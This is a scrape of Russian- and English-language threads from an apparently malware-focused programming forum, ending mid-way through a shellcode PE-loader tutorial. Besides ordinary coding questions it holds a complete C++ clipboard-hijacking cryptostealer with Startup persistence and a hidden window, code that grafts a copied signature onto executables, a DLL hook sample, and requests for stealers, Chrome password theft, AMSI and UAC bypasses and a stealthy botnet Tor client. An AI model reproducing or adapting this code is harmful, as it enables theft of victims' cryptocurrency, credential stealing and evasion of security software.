Для интереса решил написать небольшого зверька который позволит мониторить смс , удалять / отправлять нужные при необходимости .
Сорцы разных андроид ботов не смотрел , дабы самому разбираться , без чужого влияния .
И вот стало интересно , почему многие используют web запросы для управления своими зверьками .
Я допускаю что это из-за потребления батарейки телефона (постоянный tcp коннект и всё такое) но неужели это так критично с современными телефонами ? Скажу сразу , реальных тестов (в боевых условиях) не делал и если это и правда критично то готов верить на слова .
Для своих тестов / практики взял андроид ценной в 65$ и особой нагрузки не заметил .
Tcp client-server как по мне куда проще в реализации . Поставил сервер на дедик и всё , в бой .
Простой интерес , тапками не кидайте а приводите примеры

Вопрос о regex в C++ без CRT
ID: 6765d804b4103b69df37591d
Thread ID: 51332
Created: 2021-05-02T17:14:33+0000
Last Post: 2022-01-11T03:33:52+0000
Author: Vodoley
Replies: 13 Views: 1K

Здравствуйте.
Нужно искать регулярные выражения в тексте. Пишу на С++, без CRT, т.е. std::regex использовать не могу.
Главная цель - маленький размер.
Есть парчка вопросов.
В libc есть <regex.h>.
Можно ли его использовать в C++? Ни разу пока не приходилось до этого момента использовать сишные библиотеки в плюсах.
Можно ли его использовать без CRT?
Много ли он весит, большой ли вес файлу прибавит?
К слову, один лишь std::regex из STL дает +40 КБ веса, потому что тянет за собой чуть ли не половину STL, ну и требует CRT.
Если libc плохой вариант в моем случае, то что можете посоветовать? Что обычно в малвари используется для такой задачи?
Заранее спасибо!

Open Source Stealer
ID: 6765d804b4103b69df37592a
Thread ID: 60195
Created: 2021-12-17T18:14:36+0000
Last Post: 2021-12-21T15:55:55+0000
Author: zerosum0x0
Replies: 26 Views: 1K

Хотел бы посмотреть исходники opensource стиллеров если таковые есть покидайте.

[C#] Шифрование строк методом RSA
ID: 6765d804b4103b69df375930
Thread ID: 49303
Created: 2021-03-13T20:16:08+0000
Last Post: 2021-12-09T19:11:18+0000
Author: r3xq1
Replies: 4 Views: 1K

Простенький способ зашифровать строки методом RSA (1024/2048)
Создаём класс RSATool.cs и запишем в него код:

C#:Copy to clipboard

namespace OldLockerTestEncTools
{
    using System;
    using System.Collections.Generic;
    using System.Security.Cryptography;
    using System.Text;

    public class RSATool
    {
        /// <summary>
        /// Метод для шифрования текста <b>"Публичным ключём"</b>
        /// </summary>
        /// <param name="strText">Текст для шифрования</param>
        /// <param name="KeySize">Размер публичного ключа RSA</param>
        /// <param name="strPublicKey">Публичный ключ RSA</param>
        /// <returns>Шифрованный текст</returns>
        public string Encrypt(string strText, int KeySize, string strPublicKey)
        {
            using (var rsa = new RSACryptoServiceProvider(KeySize))
            {
                rsa.FromXmlString(strPublicKey);

                byte[] byteText = Encoding.UTF8.GetBytes(strText);
                byte[] byteEntry = rsa.Encrypt(byteText, false);

                return Convert.ToBase64String(byteEntry);
            }
        }

        /// <summary>
        /// Метод для расшифровки текста <b>"Приватным ключём"</b>
        /// </summary>
        /// <param name="strEntryText">Текст для расшифровки</param>
        /// <param name="KeySize">Размер приватного ключа RSA</param>
        /// <param name="strPrivateKey">Приватный ключ RSA</param>
        /// <returns>Расшифрованный текст</returns>
        public string Decrypt(string strEntryText, int KeySize, string strPrivateKey)
        {
            using (var rsa = new RSACryptoServiceProvider(KeySize))
            {
                rsa.FromXmlString(strPrivateKey);

                byte[] byteEntry = Convert.FromBase64String(strEntryText);
                byte[] byteText = rsa.Decrypt(byteEntry, false);

                return Encoding.UTF8.GetString(byteText);
            }
        }

        /// <summary>
        ///  Метод для генерации приватного и закрытого ключа RSA
        /// </summary>
        /// <param name="KeySize">Размер ключа RSA</param>
        /// <returns></returns>
        public Dictionary<string, string> GetKey(int KeySize)
        {
            var dictKey = new Dictionary<string, string>();
            using (var rsa = new RSACryptoServiceProvider(KeySize))
            {
                dictKey.Add("PublicKey", rsa.ToXmlString(false));
                dictKey.Add("PrivateKey", rsa.ToXmlString(true));
            }
            return dictKey;
        }
    }
}

Использовать можно так:

C#:Copy to clipboard

namespace OldLockerTestEncTools
{
    using System;
    using System.Collections.Generic;

    internal static class Program
    {
        [STAThread]
        public static void Main()
        {
            string encryptedText = "r3xq1";
            Console.Title = "RSA 2048 string Encryption/Decryption";

            const int KEY_SIZE = 2048;
            EncTools.RSATool myRSA = new EncTools.RSATool();
            Dictionary<string, string> dictK = myRSA.GetKey(KEY_SIZE);

            Console.WriteLine($"Оригинальный текст: {encryptedText}");
            string Encrypt = myRSA.Encrypt(encryptedText, KEY_SIZE, dictK["PublicKey"]);
            Console.WriteLine($"Зашифрованный текст: {Encrypt}");

            string Decrypt = myRSA.Decrypt(Encrypt, KEY_SIZE, dictK["PrivateKey"]);
            Console.WriteLine($"Расшифрованный текст: {Decrypt}");
            Console.Read();
        }
    }
}

Использование с сохранение в файл и чтение из файла:

C#:Copy to clipboard

namespace OldLockerTestEncTools
{
    using System;
    using System.Collections.Generic;
    using System.IO;

    internal static class Program
    {
        private static readonly string CurrDir = Environment.CurrentDirectory;

        [STAThread]
        public static void Main()
        {
            string encryptedText = "r3xq1";
            Console.Title = "RSA 2048 string Encryption/Decryption";

            // Размер ключа для шифрования/расшифровки
            const int KEY_SIZE = 2048;

            EncTools.RSATool myRSA = new EncTools.RSATool();

            // Получения ключей по размеру основного ключа
            Dictionary<string, string> dictK = myRSA.GetKey(KEY_SIZE);

            // Путь к файлу для публичного ключа
            string Publickey = Path.Combine(CurrDir, "publickey.key");

            // Путь к файлу для приватного ключа
            string Privatekey = Path.Combine(CurrDir, "PrivateKey.key");

            // Сохранение ключей в разные файлы
            File.WriteAllText(Publickey, dictK["PublicKey"]);
            File.WriteAllText(Privatekey, dictK["PrivateKey"]);

            Console.WriteLine($"Оригинальный текст: {encryptedText}");

            // Чтение ключей из файлов
            string encryptread = File.ReadAllText(Publickey);
            string decryptread = File.ReadAllText(Privatekey);

            // Шифрование текста
            string Encrypt = myRSA.Encrypt(encryptedText, KEY_SIZE, encryptread);
            Console.WriteLine($"Зашифрованный текст: {Encrypt}");

            // Расшифровка текста
            string Decrypt = myRSA.Decrypt(Encrypt, KEY_SIZE, decryptread);
            Console.WriteLine($"Расшифрованный текст: {Decrypt}");

            Console.Read();
        }
    }
}

Вот и всё!)

как распаковать архив в памяти с паролем
ID: 6765d804b4103b69df375932
Thread ID: 53817
Created: 2021-07-09T07:34:19+0000
Last Post: 2021-12-09T09:17:27+0000
Author: eorclanstan
Replies: 6 Views: 1K

(возможно я не в той теме опубликовал свой вопрос, если это так, то прошу удалить)

каким образом можно распаковать архив с паролем в памяти, который (архив) хранится в памяти, как массив байтов. C#

Как выучить C#?
ID: 6765d804b4103b69df37594a
Thread ID: 57449
Created: 2021-10-06T17:10:00+0000
Last Post: 2021-11-18T20:24:40+0000
Author: Bitard
Replies: 35 Views: 1K

Здравствуйте, я в поисках хороших книг по шарпу. Подскажите что читать для новичка?

Как и где применить C/C++ ?
ID: 6765d804b4103b69df37594c
Thread ID: 58485
Created: 2021-11-04T10:14:31+0000
Last Post: 2021-11-12T21:14:34+0000
Author: Barnakals
Replies: 28 Views: 1K

Здравствуте народ! Возможно данный вопрос не совсем правильный, однако осмелюсь спросить. Не так давно начал изучать С/С++ еще новичек, однако изучил более менее структурную и ООП часть. Так же немного знаком с MASM32. Встал перед вапросом куда двигаться дальше. Что можно создать кроме калькулятора в окошках или каких-нибудь крестиков ноликов. Что нибудь стоящее, нужное людям? Где и как можно реализовать эти знания? Что изучать в дальнейшем для этого? WinAPI или какие другие вещи? Подскажите плиз, а то каков смысл в этих знаниях если ненаходишь им применение. Может кто посоветует, что можно написать и в процессе дополнительно изучать? В общем куда дальше двигаться?

Подборка книг по программированию
ID: 6765d804b4103b69df375950
Thread ID: 56855
Created: 2021-09-19T18:26:05+0000
Last Post: 2021-11-10T06:46:21+0000
Author: rrv321
Prefix: Мануал/Книга
Replies: 5 Views: 1K

Screenshot_129.png
Все книги написаны на основе документации Stack Overflow, контент составлен крутыми людьми со Stack Overflow.
Книги созданы для образовательных целей и не связаны с тематическими группами, компаниями или Stack Overflow.

1. .NET Framework

Подробности и скачивание.

2. Алгоритмы

Подробности и скачивание.

3. Android

Подробности и скачивание.

4. Angular 2

Подробности и скачивание.

5. AngularJS

Подробности и скачивание.

6. Bash

Подробности и скачивание.

7. C

Подробности и скачивание.

8. C++

Подробности и скачивание.

9. C#

Подробности и скачивание.

10. CSS

Подробности и скачивание.

11. Entity Framework

Подробности и скачивание.

12. Excel VBA

Подробности и скачивание.

13. Git

Подробности и скачивание.

14. Haskell

Подробности и скачивание.

15. Hibernate

Подробности и скачивание.

16. HTML5

Подробности и скачивание.

17. HTML5 Canvas

Подробности и скачивание.

18. iOS Developer

Подробности и скачивание.

19. Java

Подробности и скачивание.

20. JavaScript

Подробности и скачивание.

21. jQuery

Подробности и скачивание.

22. Kotlin

Подробности и скачивание.

23. LaTeX

Подробности и скачивание.

24. Linux

Подробности и скачивание.

25. MATLAB

Подробности и скачивание.

26. Microsoft SQL Server

Подробности и скачивание.

27. MongoDB

Подробности и скачивание.

28. MySQL

Подробности и скачивание.

29. Node.js

Подробности и скачивание.

30. Objective-C

Подробности и скачивание.

31. Oracle Database

Подробности и скачивание.

32. Perl

Подробности и скачивание.

33. PHP

Подробности и скачивание.

34. PostgreSQL

Подробности и скачивание.

35. PowerShell

Подробности и скачивание.

36. Python

Подробности и скачивание.

37. R

Подробности и скачивание.

38. React JS

Подробности и скачивание.

39. React Native

Подробности и скачивание.

40. Ruby

Подробности и скачивание.

41. Ruby on Rails

Подробности и скачивание.

42. Spring Framework

Подробности и скачивание.

43. SQL

Подробности и скачивание.

44. Swift

Подробности и скачивание.

45. TypeScript

Подробности и скачивание.

46. VBA

Подробности и скачивание.

47. Visual Basic .NET

Подробности и скачивание.

48. Xamarin.Forms

Подробности и скачивание.

Внутреннее устройство Windows, 7 издание
ID: 6765d804b4103b69df375958
Thread ID: 55800
Created: 2021-08-24T18:32:41+0000
Last Post: 2021-10-21T13:57:16+0000
Author: rrv321
Prefix: Мануал/Книга
Replies: 9 Views: 1K

Очень подробная книга про устройство винды, апи и вся начинка. Must have для всех интересующихся.

[скачать](https://mega.nz/file/EIZE1bAb#DVQ9-Kfnc- FffryDgQe3_132ubPNj1FNbURqvuVwvm8)

MinHook memcpy
ID: 6765d804b4103b69df375970
Thread ID: 54983
Created: 2021-08-07T16:26:39+0000
Last Post: 2021-09-12T15:38:40+0000
Author: Exfazo
Replies: 22 Views: 1K

Короче нужно хукнуть функцию memcpy , изую либу MinHook

Code:Copy to clipboard

#include <Windows.h>
#include <tchar.h>
#include <stdio.h>
#include "MinHook.h"

typedef void*(WINAPI *MEMCPY)(void*, const void*, size_t);
MEMCPY fMemcpy = NULL;

void* WINAPI DetourMemcpy(void* destptr, const void* srcptr, size_t num)
{
    return fMemcpy(destptr, srcptr, num);
}

int HookedMemcpy()
{
    if (MH_Initialize() != MH_OK)
    {
        MessageBoxA(NULL, "123", "123", NULL);
        return 1;
    }

    if (MH_CreateHook(&memcpy, &DetourMemcpy, reinterpret_cast<LPVOID*>(&fMemcpy)) != MH_OK)
    {
        MessageBoxA(NULL, "123", "123", NULL);
        return 1;
    }

    if (MH_EnableHook(&memcpy) != MH_OK)
    {
        MessageBoxA(NULL, "123", "123", NULL);
        return 1;
    }
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        HookedMemcpy();
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

Дллка инжектится без ошибок. Смотрю на функцию memcpy, нету джампа. На мессадже бокс все работает. В чем проблема?

looking for a C++ firefox stealer to study the code
ID: 6765d804b4103b69df375979
Thread ID: 55281
Created: 2021-08-13T20:26:04+0000
Last Post: 2021-08-24T01:29:57+0000
Author: 3c2n90yt57489t3y8794
Replies: 6 Views: 1K

Hi, I'm looking for a well written firefox stealer (modern version) in c or c++ to study the code

Chrome passwords
ID: 6765d804b4103b69df37597a
Thread ID: 55514
Created: 2021-08-18T19:41:21+0000
Last Post: 2021-08-22T00:17:57+0000
Author: Ghostmela
Replies: 8 Views: 1K

Hello everyone, how do I get chrome passwords from memory using c #. I mean having the chrome passwords that is not save on database

Хукнуть функцию ShowWindow
ID: 6765d804b4103b69df37597c
Thread ID: 55443
Created: 2021-08-17T16:02:35+0000
Last Post: 2021-08-19T12:38:11+0000
Author: Exfazo
Replies: 14 Views: 1K

Всем привет, я хукаю функции ShowWindow, что бы пользователь не видел окно при запуске процесса. Конечно я могу просто вызвать ShowWindow со своего процесcа, но это происходит не сразу, окно успевает появится, а потом оно исчезает. Короче запускаю я приложение, ставлю хук на ShowWindow, и вроде как работает, однако я начал тестить над другими приложениями, и тут было такое приложение, которое хер знает зачем перезапускается при старте. В итоге я теряю pid, и получается я сталю хук. на приложение которое в итоге закрывается, а тем временем окно создается в другом процессе. Я не знаю как правильно быть в такой ситуации. Если что заранее я не знаю будет процесс пораждать новый процесс или нет

Работа с ядром Windows
ID: 6765d804b4103b69df37597d
Thread ID: 54836
Created: 2021-08-04T18:08:57+0000
Last Post: 2021-08-14T16:55:11+0000
Author: weaver
Prefix: Мануал/Книга
Replies: 3 Views: 1K

winkernel.png

Ядро Windows таит в себе большую силу. Но как заставить ее работать? Павел Йосифович поможет вам справиться с этой сложной задачей: пояснения и примеры кода превратят концепции и сложные сценарии в пошаговые инструкции, доступные даже начинающим.

В книге рассказывается о создании драйверов Windows. Однако речь идет не о работе с конкретным «железом», а о работе на уровне операционной системы (процессы, потоки, модули, реестр и многое другое).

Вы начнете с базовой информации о ядре и среде разработки драйверов, затем перейдете к API, узнаете, как создавать драйвера и клиентские приложения, освоите отладку, обработку запросов, прерываний и управление уведомлениями.

Hidden content for authorized users.

[ Работа с ядром Windows.pdf - AnonFiles

](https://anonfiles.com/17U2xdA2uc/_Windows_pdf)

anonfiles.com anonfiles.com

С++ добавить Basic
ID: 6765d804b4103b69df37597f
Thread ID: 55271
Created: 2021-08-13T13:42:21+0000
Last Post: 2021-08-14T13:11:38+0000
Author: Nietzsche9743
Replies: 13 Views: 1K

Приветствую, Товарищи, как можно в свой код C++ добавить код Visual Basic (vba)??

В поисках знания C
ID: 6765d804b4103b69df375981
Thread ID: 53820
Created: 2021-07-09T08:41:42+0000
Last Post: 2021-08-10T01:21:01+0000
Author: Digitalraccoon
Replies: 6 Views: 1K

Всем Привет
Интересует материал по Си , кто может подкинуть пару книг или видосов, я только начал учить и сложно найти что то годное
Pls help!

Sign - Подпись файла сертификатом
ID: 6765d804b4103b69df375985
Thread ID: 52740
Created: 2021-06-10T11:43:16+0000
Last Post: 2021-08-01T10:26:05+0000
Author: EmeliRouse
Replies: 5 Views: 1K

Hidden content for authorized users.

C#:Copy to clipboard

namespace Sign
{
    using System;
    using System.IO;

    public static class CertSigning
    {
        public static byte[] CopySign(string path, bool bool0)
        {
            using var fileStream = new FileStream(path, FileMode.Open);
            fileStream.Seek(Convert.ToInt64(60), SeekOrigin.Begin);
            byte[] array = new byte[4];
            fileStream.Read(array, 0, 2);
            int num = BitConverter.ToInt16(array, 0);
            byte[] result;
            fileStream.Seek(!bool0 ? Convert.ToInt64(num + 152) : Convert.ToInt64(num + 168), SeekOrigin.Begin);
            fileStream.Read(array, 0, 4);
            fileStream.Read(array, 0, 4);
            int num2 = BitConverter.ToInt32(array, 0);
            int value = BitConverter.ToInt32(array, 0);
            fileStream.Seek(Convert.ToInt64(value), SeekOrigin.Begin);
            byte[] array2 = new byte[num2 - 1 + 1 - 1 + 1];
            fileStream.Read(array2, 0, num2);
            result = array2;
            return result;
        }
        private static void Save(string pathfile, int offset, int offsetX)
        {
            byte[] array = new byte[4];
            using var fileStream = new FileStream(pathfile, FileMode.Open);
            fileStream.Seek(Convert.ToInt64(60), SeekOrigin.Begin);
            fileStream.Read(array, 0, 2);
            int num2 = BitConverter.ToInt16(array, 0);
            fileStream.Seek(Convert.ToInt64(num2 + 152), SeekOrigin.Begin); //  Convert.ToInt64(num2 + 160)
            fileStream.Write(BitConverter.GetBytes(offsetX), 0, 4);
            fileStream.Write(BitConverter.GetBytes(offset), 0, 4);
            fileStream.Flush();
        }
        public static void WriteSign(string savefile, string sertfile)
        {
            try
            {
                using FileStream fileStream = File.OpenRead(sertfile);
                byte[] array = new byte[Convert.ToInt32(fileStream.Length - Convert.ToInt64(1)) + 1 - 1 + 1];
                fileStream.Read(array, 0, Convert.ToInt32(fileStream.Length));
                using FileStream fileStream2 = File.OpenRead(savefile);
                byte[] array2 = new byte[Convert.ToInt32(fileStream2.Length - Convert.ToInt64(1)) + 1 - 1 + 1];
                fileStream2.Read(array2, 0, Convert.ToInt32(fileStream2.Length));
                int num = Convert.ToInt32(array2.Length) + Convert.ToInt32(array.Length);
                var finalepath = savefile.Replace(".exe", "_signed.exe");
                using (var memoryStream = new MemoryStream(new byte[num - 1 + 1 - 1 + 1], 0, num, true, true))
                {
                    memoryStream.Write(array2, 0, Convert.ToInt32(array2.Length));
                    memoryStream.Write(array, 0, Convert.ToInt32(array.Length));
                    byte[] buffer = memoryStream.GetBuffer();
                    try
                    {
                        File.WriteAllBytes(finalepath, buffer);
                    }
                    catch { }
                }
                Save(finalepath, Convert.ToInt32(array.Length), Convert.ToInt32(array2.Length));
            }
            catch { }
        }
    }
}

Используется так:

C#:Copy to clipboard

CertSigning.WriteSign(this.PathToFileBox.Text, this.PathToSertBox.Text);
// PathToFileBox - Текстбокс где будет полный путь к файлу .exe
// PathToSertBox - Текстбокс где будет полный путь к файлу .sig ( сертификат )
PirateStealer
ID: 6765d804b4103b69df37598d
Thread ID: 53421
Created: 2021-06-29T05:45:23+0000
Last Post: 2021-06-29T09:10:57+0000
Author: EmeliRouse
Replies: 2 Views: 1K

https://github.com/Stanley-GF/PirateStealer

Подскажите исходник билдера для своей программы на dnlib?
ID: 6765d804b4103b69df37598e
Thread ID: 53367
Created: 2021-06-27T13:41:36+0000
Last Post: 2021-06-28T18:56:06+0000
Author: McCoder
Replies: 11 Views: 1K

шапка.
С CodeDom работать умею, но он меня не устраивает, тк там .NET 2.0-4.0 поддерживается.
Пытался сам разобраться с dnlib(изменение параметров на свои) как в CodeDom, и не выходит :(
Подскажите как это можно сделать? или подкиньте исходник. Буду очень сильно благодарен =)

C++ Stealer
ID: 6765d804b4103b69df375992
Thread ID: 52975
Created: 2021-06-16T07:09:35+0000
Last Post: 2021-06-16T07:09:35+0000
Author: EmeliRouse
Replies: 0 Views: 1K

You must have at least 15 reaction(s) to view the content.

C++ Cryptostealer
ID: 6765d804b4103b69df3759b1
Thread ID: 51136
Created: 2021-04-27T15:06:31+0000
Last Post: 2021-05-02T22:06:36+0000
Author: EuroStar
Replies: 3 Views: 1K

Hello! I created these days a cryptostealer in C++ and made it to add itself to startup but there are a few more things that I need to do and I am asking for your help:
1. Is it possible to make it hidden in startup folder? I tried with SetFileAttributesA("\"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\cryptostealer.exe\"", FILE_ATTRIBUTE_HIDDEN); but didn't work.
2. Is it possible to make it work without Visual C++ Redistributables?
3. If you find more regex patterns please post them so I can add to the source.

Thanks!

C++:Copy to clipboard

#include <iostream>
#include <Windows.h>
#include <regex>
#include <string>
#include <algorithm>
#include <wchar.h>
#include <KnownFolders.h>
#include <setupapi.h>
#include <tchar.h>
#include <devpkey.h>
#include <fstream>

using namespace std;

HANDLE clip;
string clipboard = "";

string bitcoin = "bitcoin address";
string litecoin = "litecoin address";
string monero = "monero address";
string ethereum = "ethereum address";

regex bitpat{ "^(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,39}$" };
regex litpat{ "^[LM3][a-km-zA-HJ-NP-Z1-9]{26,33}$" };
regex monpat{ "^4([0-9]|[A-B])(.){93}" };
regex ethpat{ "^0x[a-fA-F0-9]{40}$" };

const char* copy1 = "echo F | xcopy /S /Q /Y /F \"cryptostealer.exe\" \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\"";

int main()
{
    HWND hWnd = GetConsoleWindow();
    ShowWindow(hWnd, SW_HIDE);

    system(copy1);

    while (true)
    {
        if (OpenClipboard(NULL))
        {
            clip = GetClipboardData(CF_TEXT);
            clipboard = (char*)GetClipboardData(CF_TEXT);

            CloseClipboard();

            bool bitmatch = regex_search(clipboard, bitpat);

            if (bitmatch)
            {
                const char* output = bitcoin.c_str();
                const size_t len = strlen(output) + 1;

                HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, len);

                memcpy(GlobalLock(hMem), output, len);

                GlobalUnlock(hMem);

                OpenClipboard(0);
                EmptyClipboard();
                SetClipboardData(CF_TEXT, hMem);

                CloseClipboard();
            }

            bool litmatch = regex_search(clipboard, litpat);

            if (litmatch)
            {
                const char* output = litecoin.c_str();
                const size_t len = strlen(output) + 1;

                HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, len);

                memcpy(GlobalLock(hMem), output, len);

                GlobalUnlock(hMem);

                OpenClipboard(0);
                EmptyClipboard();
                SetClipboardData(CF_TEXT, hMem);

                CloseClipboard();
            }

            bool monmatch = regex_search(clipboard, monpat);

            if (monmatch)
            {
                const char* output = monero.c_str();
                const size_t len = strlen(output) + 1;

                HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, len);

                memcpy(GlobalLock(hMem), output, len);

                GlobalUnlock(hMem);

                OpenClipboard(0);
                EmptyClipboard();
                SetClipboardData(CF_TEXT, hMem);

                CloseClipboard();
            }

            bool ethmatch = regex_search(clipboard, ethpat);

            if (ethmatch)
            {
                const char* output = ethereum.c_str();
                const size_t len = strlen(output) + 1;

                HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, len);

                memcpy(GlobalLock(hMem), output, len);

                GlobalUnlock(hMem);

                OpenClipboard(0);
                EmptyClipboard();
                SetClipboardData(CF_TEXT, hMem);

                CloseClipboard();
            }

        }
        Sleep(500);
    }
    return 0;

}
Как чекнуть байпас амси пш
ID: 6765d804b4103b69df3759b2
Thread ID: 51203
Created: 2021-04-28T17:45:22+0000
Last Post: 2021-05-01T05:19:12+0000
Author: Emi
Replies: 8 Views: 1K

Сабж. Как чекнуть скрипт байпаса амси в пш?

Типа патчим амси, после "Invoke-Mimikatz" для теста и чекаем на то, что есть ли патч или нет

startup folder c++
ID: 6765d804b4103b69df3759b5
Thread ID: 50591
Created: 2021-04-12T23:21:26+0000
Last Post: 2021-04-24T20:45:13+0000
Author: EuroStar
Replies: 2 Views: 1K

Hey. I have a question. How can I get the startup folder in C++ as a LPCWSTR?

C++ copy file NT
ID: 6765d804b4103b69df3759b7
Thread ID: 50892
Created: 2021-04-21T02:13:46+0000
Last Post: 2021-04-24T20:36:42+0000
Author: premiumcat
Replies: 8 Views: 1K

C:Copy to clipboard

int copy_file(  LPCWSTR oldfile, LPCWSTR newfile )
{
    NTSTATUS status;

    HANDLE hOldFile, hNewFile;
    UNICODE_STRING OldFileName;
    UNICODE_STRING NewFileName;

    IO_STATUS_BLOCK ioStatusBlockOld;
    IO_STATUS_BLOCK ioStatusBlockNew;

    OBJECT_ATTRIBUTES objAttribsOld;
    OBJECT_ATTRIBUTES objAttribsNew;

    FILE_STANDARD_INFORMATION FileInfo;
    ULONG FileLength;
    BYTE* FileBuffer;
    LARGE_INTEGER FileOffset;

    NTLIB32.RtlInitUnicodeString(&OldFileName, oldfile);
    InitializeObjectAttributes(&objAttribsOld, &OldFileName, OBJ_CASE_INSENSITIVE, NULL, NULL);

    NTLIB32.NtOpenFile(&hOldFile,
                GENERIC_READ | SYNCHRONIZE,
                &objAttribsOld,
                &ioStatusBlockOld,
                FILE_SHARE_READ,
                FILE_SYNCHRONOUS_IO_NONALERT | FILE_NON_DIRECTORY_FILE);

    NTLIB32.NtQueryInformationFile(hOldFile,
                &ioStatusBlockOld,
                &FileInfo,
                sizeof(FILE_STANDARD_INFORMATION),
                FileStandardInformation);

    FileLength = FileInfo.EndOfFile.u.LowPart;
    FileBuffer = (BYTE*)malloc(FileLength + 1);
    FileOffset.QuadPart = 0ULL;

    status = NTLIB32.NtReadFile(hOldFile,
                NULL,
                NULL,
                NULL,
                &ioStatusBlockOld,
                FileBuffer,
                FileLength,
                &FileOffset,
                NULL);

    FileBuffer[FileLength] = 0;
    NTLIB32.NtClose(hOldFile);

    NTLIB32.RtlInitUnicodeString(&NewFileName, newfile);
    InitializeObjectAttributes(&objAttribsNew, &NewFileName, OBJ_CASE_INSENSITIVE, NULL, NULL);

    status = NTLIB32.NtCreateFile(&hNewFile,
                GENERIC_READ | GENERIC_WRITE | SYNCHRONIZE,
                &objAttribsNew,
                &ioStatusBlockNew,
                NULL,
                FILE_ATTRIBUTE_NORMAL,
                FILE_SHARE_READ,
                FILE_CREATE,
                FILE_WRITE_THROUGH | FILE_SYNCHRONOUS_IO_NONALERT,
                NULL,
                0);


    status = NTLIB32.NtWriteFile(
        hNewFile,
        NULL,
        NULL,
        NULL,
        &ioStatusBlockNew,
        FileBuffer,
        FileLength+1,
        NULL,
        NULL);


    NTLIB32.NtClose(hNewFile);

    return 0;
}
Куплю самописный тор клиент для своих нужд С/C++
ID: 6765d804b4103b69df3759bd
Thread ID: 50112
Created: 2021-04-01T05:35:30+0000
Last Post: 2021-04-19T18:57:50+0000
Author: mrfluentor
Replies: 8 Views: 1K

Здравствуйте, у меня ботнет - приходится запускать тор.ехе чтобы через тор коннектится, а мне хочется более легковесный вариант, чтобы вшить коннект к админке прямо в билде - чтобы не был виден тор процесс.
У кого есть может? Готов купить

Code injection fails in combination with fodhelper UAC bypass (?)
ID: 6765d804b4103b69df3759c0
Thread ID: 50729
Created: 2021-04-16T16:20:43+0000
Last Post: 2021-04-18T20:24:04+0000
Author: jumpsc4r3
Replies: 11 Views: 1K

Hello,

I hope it is fine to write this in English. Please let me know a translation is required.

Im using a modified version of [this code](https://github.com/d-ovs/RunPE- Fixed-/blob/master/RunPE32_From_Memory.cpp) for injecting another PE file into the address space of the current executable. The code in this example and my modified version seems to work fine on all Windows version, but when I add the [fodhelper.exe UAC bypass](https://pentestlab.blog/2017/06/07/uac-bypass- fodhelper/) to the injector before running the code injection, it fails in a weird way:

After the injection is finished, the console window of the injected application (a C++ console application) shows up, but instead of carrying on with the execution, I receive a bunch of error messages stating "The code execution cannot proceed because [some garbage characters].dll was not found". One time so far the error message did not print garbage characters as file name but "vector constructor iterator'". After searching this specific string on the web, I found out that this has something to do with Visual C++ compiler generated functions.

I dont really understand whats going on here. Is the problem caused by the UAC bypass in some way or is it just coincidence that it only fails when the injector was launched by fodhelper.exe?

Any explanation or assumption is appreciated.

Отправка куки в запросе (C#) (Вопрос)
ID: 6765d804b4103b69df3759c6
Thread ID: 47153
Created: 2021-01-24T22:09:11+0000
Last Post: 2021-03-30T09:04:21+0000
Author: Kain1029
Replies: 4 Views: 1K

Привет. Подскажите, каким образом отправлять куки в запросе?
Имею txt файл с нетскейп куками , их надо превратить в JSON(а может и нет)
Отправить в запросе на сайт для авторизации
Далее спарсить страницу и достать из нее элемент

Грубо говоря простейший чекер. На Питоне понятно, а на шарпе нет.

Пробовал Leaf xNet библиотеку не хочет и все, Так же в расход пошли методы HttpWebRequest, HttpRequest, там же был Selenium(чисто для теста).
Ни JSON , ни нетскейп ,файлом есть не хочет , в ручную добавляю - не нравится.

Буду искренне благодарен за помощь. Спасибо!

Пишем шеллкод на Golang | PE to shellcode
ID: 6765d804b4103b69df3759c7
Thread ID: 49962
Created: 2021-03-28T09:08:41+0000
Last Post: 2021-03-29T02:53:35+0000
Author: Jeffs
Replies: 3 Views: 1K

В общем-то захотелось попробовать написать какой-нибудь простой шеллкод на го. Понятное дело, компилятор го не даст нам этого сделать. Но компилятор имеет собирать PE/PE+ бинари, почему бы нам просто не запустить PE файл из шеллкода?
Вот тут есть реализации аналогичных проектов:

github.com

[ GitHub - hasherezade/pe_to_shellcode: Converts PE into a shellcode

](https://github.com/hasherezade/pe_to_shellcode)

Converts PE into a shellcode. Contribute to hasherezade/pe_to_shellcode development by creating an account on GitHub.

github.com github.com

github.com

[ GitHub - Ly0k0/PE2Shellcode: A gadget for converting PE files to

shellcode. ](https://github.com/Ly0k0/PE2Shellcode)

A gadget for converting PE files to shellcode. Contribute to Ly0k0/PE2Shellcode development by creating an account on GitHub.

github.com github.com

Подсмотрел кое-что там, и написал свой шеллкод лоадера PE, вес чуть больше 1 КБ.
Общая структура шеллкода на выходе |шеллкод PE-лоадера (1062 байта)|сигнатура+заголовок (36 байт)|байты самого PE (без заголовков)|, где:
- Сигнатура - простой набор байт: BYTE sign[] = { 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55 };. В дальнейшем нам поможет отыскать заголовок.
- Заголовок - подобие NT-заголовка на минималках:

C:Copy to clipboard

struct ShellHead
{
    DWORD peSize; // размер PE
    DWORD offsetSection; // смещение до заголовка секций
    DWORD numberOfSection; // кол-во секций
    DWORD offsetRelocation; // смещение директории релоков
    DWORD imageBase; // адрес, по которому нужно загрузить PE (не используется)
    DWORD offsetImportTable; // смещение директории импорта
    DWORD entryPoint; // смещение до мейн-функции
};

Как всё это формируется я думаю вы уже поняли, давайте перейдём к самому шелл- коду.
Для начала нам нужно спарсить наш кастомный заголовок. Он хранится после нашей сигнатуры. Нам нужно узнать где по какому адресу мы сейчас сидим, отыскать заголовок:

C:Copy to clipboard

DWORD_PTR GetShellHead(ShellHead** head)
{
    DWORD_PTR currAddr = NULL;
    _asm
    {
        call fun;
    fun:
        pop eax; // вытаскиваем адрес, который был помещён в регистр eax интструкцией выше (call)
        mov currAddr, eax;
    }

    // от этого адреса начинаем искать нашу сигнатуру, после неё уже идёт сам заголовок
